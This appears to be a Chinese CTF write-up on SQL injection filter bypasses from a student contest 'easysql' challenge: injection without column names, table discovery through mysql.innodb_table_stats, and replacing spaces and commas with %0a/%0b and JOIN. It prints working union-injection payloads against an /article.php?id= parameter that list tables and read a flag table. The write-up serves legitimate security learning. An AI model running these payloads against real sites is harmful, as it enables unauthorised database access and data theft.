SQLi —— 逗号，空格，字段名过滤突破

前言

出于上海大学生网络安全大赛的一道easysql，促使我积累这篇文章。因为放了大部分时间在Decade和Babyt5上，easysql一点没看，事后看了WP，发现看不懂怎么回事，于是了解了一番。

无列名注入

前提：easysql中过滤了or，这样information_schema就不能用了，需要通过innodb存储引擎利用获取表名，不知道列名，所以需要通过无列名注入获取字段数据。

其实就是边看文章边自己实践记录，自己写的更详细点，便于理解的更透彻。

直接select 1,2,3,4 这样不就是一个表了吗，可以看作是虚拟表。

我们可以通过union select 将这个虚拟表填充你想要读取的表的数据(记得用union时，保证左右两边的字段数相同，即列数)

再通过设置这样的虚拟表别名，就可以实现无列名注入了

可以看到我们需要的表的数据导入了虚拟表，并且以我们设定的1,2,3,4作为列名

第二列开始才是我们想要的表中数据，可用limit来取limit 2,1 或者limit 1 offset 2（这里不选用第二行数据是因为比较下limit 2,1和可以bypass逗号的limit 1 offset 2的区别，容易对应参数混淆）

limt 2,1 :从第三行开始，取一行数据

limit 1 offset2 :取一行数据，从第二行开始

这样就完成了无列名注入

innodb存储引擎

因为本地是5.5.53的mysql，也不想再docker去pull部署了，直接照搬文章里的内容把。（谢罪）

红帽杯wp中，需要通过innodb来获取表名，原因是过滤了or，无法用上information_schema

Mysql>5.6.x

在Mysql中，存储数据的默认引擎分为两类。一类是在5.5.x之前的MyISAM数据存储引擎，另一类是5.5.x版本后的innodb引擎。并且mysql开发团队在5.5.x版本后将innodb作为数据库的默认引擎。

而在mysql 5.6.x版本起，innodb增添了两个新表，一个是innodb_index_stats,另一个是innodb_table_stats。查阅官方文档，其对这两个新表的解释如下图：

从官方文档我们可以发现两个有用的信息：

1. 从5.6.x版本开始，innodb_index_stats和innodb_table_stats数据表时自动设置的。
2. 两个表都会存储数据库和对应的数据表。

唯一遗憾的是没有字段名

本地试验：

Mysql 5.6.40

innodb_index_stats

select * from mysql.innodb_index_stats limit 0,3;

 

innodb_table_stats

select * from mysql.innodb_table_stats limit 0,1

 

有效载荷：select table_name from mysql.innodb_table_stats where database_name = schema()

前提mysql>5.6x

用来查表的payload:

select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()

bypass

对于bypass waf有很多骚姿势，把一些最基本的列出来。

1.首先我们空格被过滤，这个绕过方法有很多

• 使用注释绕过，/**/，如果因为’/‘被过滤，导致此方法无法使用
• 使用括号绕过，括号可以用来包围子查询，任何计算结果的语句都可以使用（）包围，并且两端可以没有多余的空格
• 使用符号替代空格 %20 %09 %0d %0b %0c %0d %a0 %0a，这里我选择了%0a进行绕过

2.对于,的过滤，之前没有过了解，查了很多资料和文章，发现了一个姿势

Join

Join绕过逗号，配合联合注入payload(发现图片可能不能直接复制粘贴代码，可能造成复现不方便)

mysql> SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)　　

(SELECT )a JOIN (SELECT )b JOIN (SELECT )c JOIN (SELECT )d;

这样就类似如下的形式

mysql> select*from(select 1,2,3,4)a;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

可以构造一些查询语句

mysql> SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT version())d;
+---+---+---+-----------+
| 1 | 2 | 3 | version() |
+---+---+---+-----------+
| 1 | 2 | 3 | 5.5.53    |
+---+---+---+-----------+
1 row in set (0.00 sec)　　

bypass逗号，实现联合注入

select*from people where id=- union select*from((select )b join (select )a join (select )c join (select )d);

结合分析

因为没碰easysql，所以只能靠wp来结合分析

第一步

1. 尝试寻找回显点，使用join bypass逗号过滤。

/article.php?id=0' union%0bselect * from (select 1)a join (select 2)b join (select 3)c join (select 4)d%23　　　

通过union 查询注入寻找注入点，逗号被过滤了，通过join来bypass 逗号，爆出显示位

第二步

2. 尝试爆表，但是or被过滤，我们选取另一个系统表mysql.innodb_table_stats。

/article.php?id=0' union%0bselect * from (select 1)a join (select (select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()))b join (select 3)c join (select 4)d%23　　

过滤了or，通过innodb来爆出表名,　第二步没有什么好分析的，就是记得(select (select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()))b,里面只能一个字段一个数据，不能多个字段。这里也可以不用子查询，用limit来限制=>(select table_name from  mysql.innodb_table_stats where database_name like database())b，但是不如group_concat来的快速啊，直接列出所有的表名,不需要limit一步一步的读表名。

第三步

/article.php?id=0' union%0bselect * from (select 1)z join (select i.3 from (select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i limit 1 offset 1)x join (select 3)v join (select 3)n%23　　

这里就分析下最重要的一部分

join (select i.3 from (select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i limit 1 offset 1)x

这里是通过无列名注入结合join bypass逗号。

唯一的区别就是将(select 1,2,3 union select*from fl111aa44a99g)i 替换为join的方式(select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i

睡觉睡觉

1.40了

　

　　

学习链接：

https://blog.csdn.net/qq_40500631/article/details/89631904

http://p0desta.com/2018/03/29/SQL%E6%B3%A8%E5%85%A5%E5%A4%87%E5%BF%98%E5%BD%95/#1-10-%E6%97%A0%E5%88%97%E5%90%8D%E6%B3%A8%E5%85%A5

https://www.o2oxy.cn/1929.html